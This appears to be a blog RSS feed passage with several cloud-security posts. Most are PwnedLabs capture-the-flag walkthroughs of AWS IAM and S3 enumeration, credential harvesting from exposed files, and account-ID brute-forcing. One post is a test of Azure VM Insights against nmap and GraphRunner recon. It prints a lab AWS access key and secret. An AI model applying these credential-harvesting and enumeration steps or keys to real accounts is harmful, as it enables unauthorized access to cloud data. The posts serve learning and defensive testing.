sensitive and should never be shared or stored in an insecure manner</p><p>The AWS keys we’ll use for the rest of our investigation are below</p><p>Access key ID</p><p>AKIA3SFMDAPOWC2NR5LO</p><p>Secret access key</p><p>+hCgg8uYwGeedSpfARQyGFkr9fdVhnrObshtrHq3</p><p>We can set the keys with the AWS CLI command aws configure, as shown below</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/712/1*gwLrz3fGukPwfFOvtk5lnQ.png" /></figure><p>Let’s get more information about our potentially compromised user, dev01</p><p>aws iam get-user</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/483/1*V-kjZvTSvdUFsVpCc71Ebw.png" /></figure><p>This additionally provides the date that the IAM user was created and the tag. A tag is a key-value pair that you can attach to AWS resources, including IAM users. Tags make it easier to manage, search for, and filter resources</p><p>We can also issue the command below to enumerate any groups we might be a member of. A user group is a collection of IAM users, allowing multiple users to inherit permissions that are attached to it. We find that the IAM user isn’t a member of any groups</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/448/1*YBb2Y9w3JGWCeKSBbaxIsA.png" /></figure><p>(empty — no groups assigned)</p><p>List attached user policies</p><p>Instead we can try to list any attached user policies</p><p>It seems that we have permissions enumerate them, and this reveals that the Amazon managed policy AmazonGuardDutyReadOnlyAccess and a customer managed policy named dev01 have been attached to our IAM user. GuardDuty is a threat detection service that continuously monitors for malicious or unauthorized behavior to help protect your AWS accounts and workloads. The PolicyArn refers to the Amazon Resource Name, which is a combination of the AWS account ID, resource type and resource name. The ARN is a globally unique reference to the object</p><p><strong>List inline policies</strong></p><p>Let’s check for inline policies next. An inline policy in AWS IAM is a policy that is embedded directly onto a single IAM user, group, or role, and is not separately managed or reusable</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/504/1*aQfGX9k0RSrAGuQzvjlMCw.png" /></figure><p>This reveals an interesting inline policy named S3_Access . Let’s see examine the policies and see what permissions we have!</p><p>Digging into the policies</p><p>First we list the versions of the AmazonGuardDutyReadOnlyAccess policy. Amazon and customer managed policies can have multiple versions, allowing you to preserve, review, and roll back to previous policy versions. Inline policies do not support versioning</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/888/1*NEmAm1LjRqBs3jVf04IxDg.png" /></figure><p>The latest version is v4. Issuing the command below we see that all Describe, Get and List actions are allowed</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/935/1*v-MFGhG7W9wrbsGj_4d9dw.png" /></figure><p>Describe allows us to retrieve details about GuardDuty resources. Anything that starts with “Describe” in GuardDuty API operations would be allowed, such as describing detectors, findings, or configurations. Get allows us to getting findings, threat intel sets, or filter details, while List allows for listing of detectors, members, or findings. This is generally used to obtain a list of resources but not their detailed information</p><p>Next, we list the versions of the customer managed policy named dev01 and see that the latest version is v7</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/718/1*ekZKSsbFLvMZTUdQ-FLZ6Q.png" /></figure><p>Let’s get the JSON document for this policy as well</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/863/1*yganjanB0hAD-4D8HIHI6A.png" /></figure><p>This shows various allowed actions that apply to a user, role and policies in the Resources section.</p><p>We can map out the allowed actions as they apply to the various resources contained in the Resource section of the JSON document:</p><p>IAM User (arn:aws:iam::794929857501:user/dev01):</p><p>iam:GetUser</p><p>iam:ListAttachedUserPolicies</p><p>iam:ListUserPolicies</p><p>iam:GetUserPolicy</p><p>iam:ListGroupsForUser</p><p>IAM Role (arn:aws:iam::794929857501:role/BackendDev):</p><p>iam:GetRole</p><p>iam:GetRolePolicy</p><p>iam:ListAttachedRolePolicies</p><p>Customer Managed Role Policy (arn:aws:iam::794929857501:policy/BackendDevPolicy):</p><p>iam:GetPolicy</p><p>iam:GetPolicyVersion</p><p>iam:ListPolicyVersions</p><p>Customer Managed Policy (arn:aws:iam::794929857501:policy/dev01):</p><p>iam:GetPolicy</p><p>iam:GetPolicyVersion</p><p>iam:ListPolicyVersions</p><p>Amazon Managed Policy (arn:aws:iam::aws:policy/AmazonGuardDutyReadOnlyAccess):</p><p>iam:GetPolicy</p><p>iam:GetPolicyVersion</p><p>iam:ListPolicyVersions</p><p>This customer managed policy attached to the dev01 IAM user grants them permissions to get details on itself, any groups they are a member of and their attached policy. It also grants them permission to get details on the BackendDev role, list the policies attached to the role, and get information about a policy named BackendDevPolicy that we assume is attached to the role. It also allows us to get information about an Amazon managed policy.</p><p>Let’s confirm our assumption about BackendDev and BackendDevPolicy</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/630/1*0-GSlh6pRjyMZPXRQysl-A.png" /></figure><p>We are correct!</p><p>Let’s continue to enumerate the BackEnd role and BackendDevPolicy policy (ARNs listed below)</p><p>arn:aws:iam::794929857501:role/BackendDev</p><p>arn:aws:iam::794929857501:policy/BackendDevPolicy</p><p>We can use the get-role iam action to get information about the role</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/574/1*mOi6jD5aO5IEpQbBcIErKA.png" /></figure><p>This reveals that the purpose of the role is to allow developers to assume it. Assuming a role can be thought of as a bit like the sudo command on Linux, in that it provides temporary credentials that allow us to act in the privilege context of the role. Currently only the IAM user dev01 is allowed to assume the role</p><p>The AssumeRolePolicyDocument section contains the JSON policy document in the Trust relationships tab of the role in the AWS management console, and contains the ARN of the entities that are trusted to assume the role</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/567/1*HhDzvLggUBdpKWU8zey3Bg.png" /></figure><p>Let’s continue our investigation and enumerate the policy. The get-policy action reveals that the current version of the policy is v1</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/708/1*44Cw68o9PRXv9X0vG3Dshw.png" /></figure><p>We can use get-policy-version to retrieve the JSON policy document associated with this version (currently the only version)</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*yCwEGfQR4RpBXAxL3RmJeQ.png" /></figure><p>If we assume the role then we would be able to retrieve information about all EC2 instances in the AWS account and list all the secrets currently stored in SecretsManager. We will also be able to get information about (describe) and retrieve the secret value of prod/Customers!</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/617/1*hd8ZWc_NXYGh_AbER-Z5cQ.png" /></figure><p>This shows that we are able to list and retrieve any contents in the potentially sensitive S3 bucket named hl-dev-artifacts</p><p>Phew! Let’s visually map out what someone using this potentially compromised account could access</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*NR3iwYuwzti8c6PHfuIzvA.png" /></figure><p>Image Credit: PwnedLabs.io, from the walkthrough for this lab</p><p>To get the flag and complete the lab, try following in the footsteps of the attacker and getting the flag.txt from the S3 bucket! Hint: aws s3 ls</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/748/1*GH7j_PuTtY7H3frx3zNHgg.png" /></figure><p>Then copy the flag so that we can read it</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/466/1*VPFs6JnOQh1Hqo2t3vhvsQ.png" /></figure><p>The cmd line for argument for listing files in a S3 bucket versus how to copy the file with the s3://xxx was def a lesson for a AWS newbie!</p><p>Credit:</p><p>PwnedLabs.io for the lab and lesson, leaned heavy on their walkthrough for this!</p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=23d8e32ed2f2" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[AWS S3 Enumeration Basics]]></title>
            <link>https://medium.com/@august.vansickle/aws-s3-enumeration-basics-5bdad7b658c1?source=rss-83e302496c39------2</link>
            <guid isPermaLink="false">https://medium.com/p/5bdad7b658c1</guid>
            <category><![CDATA[pwned-lab]]></category>
            <category><![CDATA[cloud]]></category>
            <category><![CDATA[threat-research]]></category>
            <category><![CDATA[pentesting]]></category>
            <category><![CDATA[aws]]></category>
            <dc:creator><![CDATA[August van sickle]]></dc:creator>
            <pubDate>Tue, 26 Nov 2024 23:18:39 GMT</pubDate>
            <atom:updated>2024-11-26T23:43:28.018Z</atom:updated>
            <content:encoded><![CDATA[<figure><img alt="" src="https://cdn-images-1.medium.com/max/650/1*f5b20KygZgbGZKH01mUhbA.png" /></figure><p>Scenario</p><p>It’s your first day on the red team, and you’ve been tasked with examining a website that was found in a phished employee’s bookmarks. Check it out and see where it leads! In scope is the company’s infrastructure, including cloud services.</p><p>Learning outcomes</p><p>Familiarity with the AWS CLI</p><p>Basic S3 enumeration and credential exfiltration</p><p>An awareness of how this scenario could have been prevented</p><p>Real-world context</p><p>Amazon S3 (Simple Storage Service) is a very popular (and the second oldest!) AWS service that is used to store files and backups, and can even be used to serve websites. This multi-use functionality has led some to argue that this service would be more secure if it were split into separate public web hosting and private file storage services. In recent years AWS have introduced more visual warnings when customers are making buckets world-readable, but still, if this setting is available, people will set it! Misconfigurations and overly permissive settings in S3 have resulted in many data breaches over the years.</p><p>First, lets start by manually enumerating the website</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*5KXOTCCC7YLBa8ZjDQTmSA.png" /></figure><p>Lets check out the page source, maybe the pictures or some of the content being hosted can provide some more surface to test</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/801/1*j__l5-XFVbl7W80RR29KBA.png" /></figure><p>Interesting, it uses an S3 bucket named dev.huge-logistics.com for storing static files, including images, CSS and JavaScript files.</p><p>S3 buckets are storage containers on Amazon’s Simple Storage Service (S3) where you can store files, images, and other data. Think of them like folders on your computer, but they’re online and can hold vast amounts of data.</p><p>We can try navigating to one of these files in a browser, and then traverse up directories to see if we can list other resources that are stored in the bucket.</p><p>For the following URL, <a href="https://s3.amazonaws.com/dev.huge-logistics.com/static/style.css">https://s3.amazonaws.com/dev.huge-logistics.com/static/style.css</a>, we can attempt the following requests in our browser:</p><p><a href="https://s3.amazonaws.com/dev.huge-logistics.com/static/">https://s3.amazonaws.com/dev.huge-logistics.com/static/</a></p><p><a href="https://s3.amazonaws.com/dev.huge-logistics.com/">https://s3.amazonaws.com/dev.huge-logistics.com/</a></p><p>Neither of these requests are successful as both result in access denied messages.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*PMtqw27VOl75j7ASCg_2Qg.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/879/1*Hn_T6xZgnchrhQElmQyWSQ.png" /></figure><p>Let’s examine the bucket using the AWS CLI instead.</p><p>On Debian-based Linux distributions such as Ubuntu, we can install the AWS CLI with the command apt install awscli . For other distributions and operating systems, refer to the AWS documentation.</p><p>With the CLI installed, we can try listing its contents with the command below.</p><p>aws s3 ls s3://dev.huge-logistics.com — no-sign-request</p><p>Let’s break it down.</p><p>aws is the name of the tool while s3 is the name of the service we want to interact with. ls is the action that we want to perform, in this case listing the contents. The URL s3://dev.huge-logistics.com refers to the name of the S3 bucket. Note that when listing the bucket, the s3:// doesn’t actually have to be specified, but other actions such as cp (to copy files) require this prefix. If we omitted — no-sign-request , it would attempt to use any locally configured AWS credentials. This is because the AWS CLI v2 (the version we have installed) signs requests by default. To send an unsigned request, and test the bucket for public access, we can include the — no-sign-request switch. The default behavior of the AWS CLI v1 was to not sign requests by default.</p><p>The command is successful, which reveals that the S3 bucket is open for the entire internet to access. This makes sense in the case where it’s being used to store public website content, but it also seems to contain other directories…</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/521/1*YIKFyzR94Jg3-QcQCJcnIw.png" /></figure><p>Let’s dig in. Attempting to recursively list all directories using the — recursive switch results in an access denied error.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/722/1*8FFDv5Z1ejkVPq6Wl1E0iQ.png" /></figure><p>It seems that both the admin and migration-files directories don’t allow public access.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/745/1*ddPOHE9KUOiKN_pLhtu96w.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/720/1*2CuV5x9qCWzj-zFRrpcQSQ.png" /></figure><p>The static (web) directory is available but the files don’t seem interesting from a security perspective.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/556/1*nSAnds9xeEmuWit29ZezOg.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/562/1*ab-FuiL3TXzZqiBEos_WWg.png" /></figure><p>That .zip file looks promising</p><p>So lets download it and then unzip the file</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/814/1*WDae-tj_-F8A6DgViSqQxQ.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/308/1*3IiSK1cxQZYGsG3tQ4IR8g.png" /></figure><p>We unzip a powershell script, always good to inspect scripts for credentials and other valuable items</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/850/1*rUiaDAJ32A1Aze3lifG4NA.png" /></figure><p>We found a set of AWS credentials</p><p>the purpose of the script seems to be to take existing secrets that are stored in an XML file, and store them in AWS Secrets Manager. Secrets Manager is a service that helps securely store, manage, and retrieve secrets like API keys and database credentials.</p><p>Along with the Access Key and Secret Key with see the region in the script is set to us-east-1 . When it comes to setting our keys as an attacker it’s helpful to know which region to use. We can get a further clue from the S3 bucket. The cURL command below returns the headers only, which reveals that the bucket was created in the us-east-1 region</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/744/1*ugS0wMBHOsIdT4Xxi-LU9g.png" /></figure><p>Let’s set the keys with the command aws configure . With AWS CLI keys, the Access Key is a bit like a username, with the Secret Key being the password</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/795/1*8rkorlqesxJbgdq8IEbLlg.png" /></figure><p>Aws sts get-caller-identity serves as whoami in the AWS context</p><p>This reveals the IAM user named pam-test . We can assume given the nature of the script that pam stands for Privileged Access Management (PAM).</p><p>Let’s now examine again the /admin directory. Note that the — no-sign-request switch has been removed, since we now have valid AWS credentials, and we want to sign our request with the set keys</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/531/1*K9SaICUhsTYrI303sLqUew.png" /></figure><p>Now we definitely have juicy things</p><p>This reveals a website transactions export file and also the flag. Unfortunately we are unable to download either using our current credentials.</p><p>We get more luck with the /migration-files directory!</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/710/1*6X2B_36MJF0OYjA8yyft4g.png" /></figure><p>Among PDFs related to the migration project are the migration_secrets.ps1 script again, and also a test-export.xml file</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/744/1*5HeakedYosb_ynx2uKFIew.png" /></figure><p>Downloading the file we see more high privileged credentials! This includes an AWS IT Admin entry</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/938/1*JUEEyTUcVh5tzh4POhCJLQ.png" /></figure><p>We get a slew of new credentials</p><p>Use aws configure to set the new keys. Running aws sts get-caller-identity this time reveals that we are the IAM user it-admin</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/868/1*Ha2B4lJU1Miokjwr4nBL4w.png" /></figure><p>We should be getting some rhythm with these two actions</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/866/1*UccT-lEjT5MyqXvW5xqrdA.png" /></figure><p>The admin account is allowed to access the admin folder, and inside we see an export of users credit card numbers and other PII (personally identifiable information) in clear text! PWNED!</p><p>We couldn’t access it now but we can now get the flag. Use what you learned before to finish the lab!</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/576/1*KGUySMng3JJXanvWBkGibQ.png" /></figure><p>Reference:</p><p>All credit to PwnedLabs.io which puts out great cloud labs for learning scenarios</p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=5bdad7b658c1" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[Identify the AWS Account ID from a Public S3 Bucket]]></title>
            <link>https://medium.com/@august.vansickle/identify-the-aws-account-id-from-a-public-s3-bucket-f928d86e6fd1?source=rss-83e302496c39------2</link>
            <guid isPermaLink="false">https://medium.com/p/f928d86e6fd1</guid>
            <category><![CDATA[cloud]]></category>
            <category><![CDATA[threat-research]]></category>
            <category><![CDATA[aws]]></category>
            <category><![CDATA[pwned-lab]]></category>
            <category><![CDATA[pentesting]]></category>
            <dc:creator><![CDATA[August van sickle]]></dc:creator>
            <pubDate>Tue, 26 Nov 2024 22:37:27 GMT</pubDate>
            <atom:updated>2024-11-26T22:37:27.712Z</atom:updated>
            <content:encoded><![CDATA[<figure><img alt="" src="https://cdn-images-1.medium.com/max/533/1*keImhrhTnKLxK28PZgFT-g.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/952/1*BEKJIcBrbbSoW-PbKV0ShA.png" /></figure><p>Real-world context</p><p>If threat actors get their hands on an AWS Account ID, they can try to identify the IAM roles and users tied to that account. They can do this by taking advantage of detailed error messages that AWS services return when inputting an incorrect username or role name. These messages can verify if an IAM user or role exists, which can help threat actors compile a list of possible targets in the AWS account. It’s also possible to filter public EBS and RDS snapshots by the AWS Account ID that owns it.</p><p>The flag in this lab is the AWS account ID associated with the S3 bucket.</p><p>Lets look at the intial information we have. We have a set of AWS Creds and we have an IP. Lets take a look at the IP, with a nmap scan to see what ports and services are running.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/645/1*uTG5I-vNS0xJOshcy7dDOA.png" /></figure><p>So we have a port 80 running, the default HTTP port, lets manually enumerate the web application</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*K6B2_YS4ClguKw590sFHbg.png" /></figure><p>Use wappalyzer to identify some software versions</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/414/1*YkAsEoqP4vtj2tS6uVl7ag.png" /></figure><p>Lets look at the page source:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/694/1*l7yNB4gscFYxDKjbbHEOdg.png" /></figure><p>The images are hosted in a Amazon S3 Bucket Container</p><p>With the S3 bucket name we can attempt to get the ID of the AWS Account it’s hosted in. Research by Ben Bridts (<a href="https://cloudar.be/awsblog/finding-the-account-id-of-any-public-s3-bucket/">https://cloudar.be/awsblog/finding-the-account-id-of-any-public-s3-bucket/</a>) revealed that it’s possible to quickly brute force the AWS account ID an S3 bucket belongs to. Reading this research post and also reviewing the code here is recommended, but a TL;DR is that this script creates policy that utilizes the new S3:ResourceAccount Policy Condition Key to evaluate whether to grant us access to an S3 bucket based on the AWS account that the bucket belongs to. Fortunately the script doesn’t have to guess a trillion different account IDs to find the right one, the available search space is massively reduced by leveraging string matching and wildcards. Each correctly matched digit is appended to a variable, and the request is repeated until the account ID is found.</p><p>The IAM user assuming the role would have the following policy attached.</p><p>{</p><p>“Version”: “2012–10–17”,</p><p>“Statement”: {</p><p>“Effect”: “Allow”,</p><p>“Action”: “sts:AssumeRole”,</p><p>“Resource”: “arn:aws:iam::&lt;your aws account id&gt;:role/&lt;your role name&gt;”</p><p>}</p><p>}</p><p>The role that your user is allowed to assume would have the following policy attached that allows the s3:GetObject and s3:ListBucket permissions to the mega-big-tech bucket.</p><p>{</p><p>“Version”: “2012–10–17”,</p><p>“Statement”: [</p><p>{</p><p>“Sid”: “Enum”,</p><p>“Effect”: “Allow”,</p><p>“Action”: “s3:GetObject”,</p><p>“Resource”: “arn:aws:s3:::mega-big-tech/*”</p><p>},</p><p>{</p><p>“Sid”: “Enum1”,</p><p>“Effect”: “Allow”,</p><p>“Action”: “s3:ListBucket”,</p><p>“Resource”: “arn:aws:s3:::mega-big-tech”</p><p>}</p><p>]</p><p>}</p><p>The role would also have the following trust policy configured, allowing the user to assume the role.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/850/1*gLw2huceqPn7i3BIvpqY9Q.png" /></figure><p>For the rest of the lab guide, we’ll use our existing user. First, let’s set the provided credentials using aws configure. This allows us to execute commands in the context of the user that can assume a role we assigned the s3:GetObject and s3:ListBucket permissions to. Assuming a role that’s assigned one of these permissions is required for the script to work.</p><p>Use the provided creds from the beginning of the lab</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/793/1*MfWpbLYcEMAPWOsOeyZ4bA.png" /></figure><p>So the AWS configure call allows you to enter what are your AWS credentials</p><p>Next</p><p>Then go ahead and issue the command python3 -m pip install s3-account-search to install the tool s3-account-search. Next we need to provide the Amazon Resource Name (ARN) of the role under our control (i.e. in our own AWS account), as well as a target S3 bucket in the AWS account whose ID we want to enumerate. Here we have created the role and provided it for you.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/889/1*2psaqnWt45U2MFhDj5xv0Q.png" /></figure><p>This reveals the <strong>AWS account ID 107513503799</strong>. We can use this information to hunt down public resources that might have been accidently exposed by the account owner, such as public EBS and RDS snapshots.</p><p>First, it would be good to know the AWS region that the S3 bucket was created in, as public snapshots are available to all users in the same region that the EBS or RDS snapshot was created in. It’s likely that if the S3 bucket was created in a specific region, that other resources will be available there too!</p><p>To find the S3 bucket region we can use another trick, this time with cURL.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/890/1*Nwqz4BIf-OesTV_C1RU9dw.png" /></figure><p>In the response headers we see that the header x-amz-bucket-region is set to us-east-1, which is North Virginia. Next, log into the AWS management console in your own personal AWS account and make sure that the us-east-1 region is selected.</p><p>Then search for the EC2 service. Click the service and in the EC2 dashboard, in the left-hand menu, select Snapshots under the Elastic Block Store menu item. In the dropdown list, select Public snapshots, paste the discovered AWS account ID into the field and hit enter/return. After waiting a minute we get a hit and see that the company has a publicly exposed EBS snapshot! PWNED!</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*OvKRNgCQn9jWDk6QkqjbdQ.png" /></figure><p>As mentioned, the flag in this lab is the AWS account ID associated with the S3 bucket.</p><p>Although AWS account IDs are not considered to be particularly sensitive, and often times accounts IDs are available in public documentation or code, knowing the account ID of an organization you are assessing the security of could be helpful.</p><p>In terms of detection, the STS actions take place in the account of the person attempting to find the account ID, which won’t be visible to the bucket owner’s account. However it is possible to enable S3 data events for additional cost.</p><p>Also as mentioned, the flag in this lab is the AWS account ID associated with the S3 bucket</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*61kvyjytDIT3JrrwjuRziA.png" /></figure><p>References:</p><p>Big thanks to PwnedLabs.io for the lab and the walkthrough associated</p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=f928d86e6fd1" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[Is Azure VMInsight capable of providing some security for your Azure Resources?]]></title>
            <link>https://medium.com/@august.vansickle/is-azure-vminsight-capable-of-providing-some-security-for-your-azure-resources-ddc9f77d9fbf?source=rss-83e302496c39------2</link>
            <guid isPermaLink="false">https://medium.com/p/ddc9f77d9fbf</guid>
            <category><![CDATA[monitoring]]></category>
            <category><![CDATA[logging]]></category>
            <category><![CDATA[purple-team]]></category>
            <category><![CDATA[threat-hunting]]></category>
            <category><![CDATA[azure]]></category>
            <dc:creator><![CDATA[August van sickle]]></dc:creator>
            <pubDate>Mon, 25 Nov 2024 03:22:57 GMT</pubDate>
            <atom:updated>2024-11-25T03:22:57.048Z</atom:updated>
            <content:encoded><![CDATA[<p>VM insights provides a quick and easy method for getting started monitoring the client workloads on your virtual machines and virtual machine scale sets. It displays an inventory of your existing VMs and provides a guided experience to enable base monitoring for them. It also monitors the performance of your virtual machines and virtual machine scale sets by collecting data on their running processes and dependencies on other resources.</p><p>VM insights supports Windows and Linux operating systems on:</p><ul><li>Azure virtual machines.</li><li>Azure virtual machine scale sets.</li><li>Hybrid virtual machines connected with Azure Arc.</li><li>On-premises virtual machines.</li><li>Virtual machines hosted in another cloud environment.</li></ul><p>VM insights provides a set of predefined workbooks that allow you to view trending of collected performance data over time. You can view this data in a single VM from the virtual machine directly, or you can use Azure Monitor to deliver an aggregated view of multiple VMs.</p><p>From &lt;<a href="https://learn.microsoft.com/en-us/azure/azure-monitor/vm/vminsights-overview">https://learn.microsoft.com/en-us/azure/azure-monitor/vm/vminsights-overview</a>&gt;</p><p>First Step:</p><p>Enable on an Azure VM</p><p>Note: VM has to be running</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*9mD2xEZt6L9D8q_hgIU9aQ.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*WelYBfNecGTWhXsh6InnlA.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/835/1*fNgOgLC_bzDB46AG_2-Cew.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/460/1*zHcehAehlpr_OwGNDWc8dg.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/399/1*yzQwVrb1J7FHmuLHHWEmhA.png" /></figure><p>So the VMInsight deployment succeeded, lets add it to a dashboard for easy review</p><p>To access the Insights, we go to the VM resource itself and click on “Insights:</p><p>I check out the Monitoring Configuration</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*assMW2tkpObi0A7bTkV5vQ.png" /></figure><p>Next step we need to run some testing, I want to see what populates in Insights without the recommended alerts</p><p>When you visit the logs in Insights:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*KHXSLJlK4bPr6XR1jCZBlg.png" /></figure><p>There are different ways to look at activity, and this is before we set any alerts</p><p>So next im going to run some basic enumeration with my attack vm to simulate attacker recon and some intial access vectors to see what gets picked up In the logs</p><p>There is also a classic Log Analytics function and a new version, so im going to check out both</p><p>To test, we have to know the public IP so that my attack VM can reach it</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/697/1*CRC8EF1iDTBZvZRNT6blvQ.png" /></figure><p>On my attack vm, I begin by pinging the public IP of my Azure VM and we get some replies so my Attack VM can reach the target Azure VM IP</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/529/1*jOYCtwLW2q1Cg-YYzq7sTA.png" /></figure><p>Next we run Nmap with some aggressive scan operators</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*y_55VN5iZvdQBwRkbR32zw.png" /></figure><p>This is right, I have SSH open so that I can connect and manage the VM, I can open a web server or two to extend the threat surface to test</p><p>Just going to see if there are any collections for this activity yet, even though its just one execution</p><p>NMAP has its own user agent so it can be loud in that way</p><p>Unexpected nmap activity isnt damning but it isnt something that is typically system admin, maintenance type activity</p><p>Nothing picked up, but there can be a delay in log collection so lets try some more activity</p><p>To continue and try some credential and post exploitation activity I am configuring an Identity Role for a User Contributor in the Resource Group</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*zoe7Qe4wI37v4lVhZZIp9g.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*ABnFK-_xg53a3xgg9qbaZw.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/518/1*5wUq9b3YYlOtDE-Jf9Kjiw.png" /></figure><p>One of the first things I like to do, once I believe I have credentials that are legitimate (theres an app for that!) is to check MFA enablement</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/475/1*22AW3ojhvDJsd935P-8-dQ.png" /></figure><p>Lets use GraphRunner to take a look with some recon through the MS Graph API as it grants single factor access</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/802/1*fgSaVyNBuirkLENnsVyWOw.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*OQ4fVO2YK-cY6hSMrq3NsQ.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*0afIaePa3pJ589bxf-XpSg.png" /></figure><p>Ok and now we have graph tokens</p><p>We have tokens so we should leverage those for some initial recon</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/746/1*QYYDkAXWN7AOEw0AgHlz4Q.png" /></figure><p>Next we will check for Conditional Access Polices as an attacker would</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/532/1*XOA5Ga-b4dSPYieJgS2yMA.png" /></figure><p>There are none because I haven&#39;t set them up yet</p><p>Next we will look at applications</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*Ite93UTeWKmzI3Zqw-lLUg.png" /></figure><p>From this the first thing that stands out is that Defender is active. I have it installed but Im not using those capabilities in this blog series, but I will be. The attacker likes to know that to adjust their TTPs.</p><p>We also see the VM that we are targeting</p><p>I didn’t get much (any) for monitoring logs for the access, NMAP scans or abuse of Graph Tokens</p><p>Heres an example, no security events of any kind</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/778/1*6UqXGWkv3eDX3zgby50bcQ.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*4IGipHH_nVhIkTcJF6GsRA.png" /></figure><p>So next we spin up a windows based Azure VM in the same resource group, I want to see if there is better logging on Windows.</p><p>Again, starting with a NMAP scan of the VM’s public IP</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*4Ta6m8J0b35GJ0hhJcIevQ.png" /></figure><p>Then I ran all the GraphRunner commands I ran on the Ubuntu based Azure VM</p><p>Immediately checking the logs, I don’t see any security events generated</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*UaWsGeroYW90BN2Gl4wAgQ.png" /></figure><p>Im going to wait at least an hour to see if any generate</p><p>Waited two hours and still nothing</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*40NcrPm9P6zHHwC6Nv5bUg.png" /></figure><p>NOTE: I did get a spot check from another researcher, and he confirmed my findings</p><p>Conclusion:</p><p>This is very anti climatic, but the takeaway here is that this is not worth it. This isn’t even technically an out of the box solution. But VMInsights</p><p>Seems to be better as a performance monitoring solution than anything with collecting logs, setting alerts and threat hunting. It collected nothing and I was pretty loud.</p><p>I wanted to do more testing with VMInsights and Monitoring but it is clear to me that it isn’t a viable resource for security.</p><p>Next, I will be testing the same emulation steps with Microsoft Defender for Cloud, which was renamed from Azure Security Center.</p><img 